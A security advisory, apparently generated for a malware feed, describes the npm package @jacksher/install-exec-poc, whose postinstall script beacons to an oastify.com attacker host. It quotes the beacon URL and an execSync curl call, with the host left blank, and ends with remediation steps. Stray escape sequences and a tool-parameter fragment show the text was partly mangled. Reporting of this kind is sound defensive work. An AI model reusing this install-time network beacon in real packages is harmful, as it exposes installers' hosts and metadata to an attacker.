Malicious code in @jacksher/install-exec-poc (npm)

The npm package @jacksher/install-exec-poc contained malicious code embedded in a postinstall script (beacon.js) that executed unconditionally whenever the package was installed via npm. The package name itself labeled it as a proof-of-concept, but the malicious behavior fired on any consumer who installed it.\n\nThe postinstall script performed multiple malicious actions: unconditional DNS lookups, HTTPS GET requests to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and execution of shell commands via child_process.execSync('curl -s https:// /ci', {stdio:'ignore'}) against the same attacker-controlled Burp Collaborator subdomain. These actions disclosed the installer's public IP address and resolver metadata to the attacker.\n\nThe use of execSync to shell out to curl at postinstall time established an install-time shell-to-network primitive on the installer's host, creating a direct execution channel for the attacker. The incident was identified by the OpenSSF malicious-packages project and reported via GitHub Security Advisory GHSA-pf2f-2wpf-5qfx.", <parameter name="remediation">["Remove @jacksher/install-exec-poc from all package.json files and lock files", "Audit npm install logs and network traffic from the time the package was installed to identify potential data exfiltration", "Review any systems that installed this package for signs of compromise or unauthorized access", "Update npm to the latest version and run npm audit to identify other potentially malicious packages", "Consider rotating credentials and API keys that may have been exposed during the installation window"]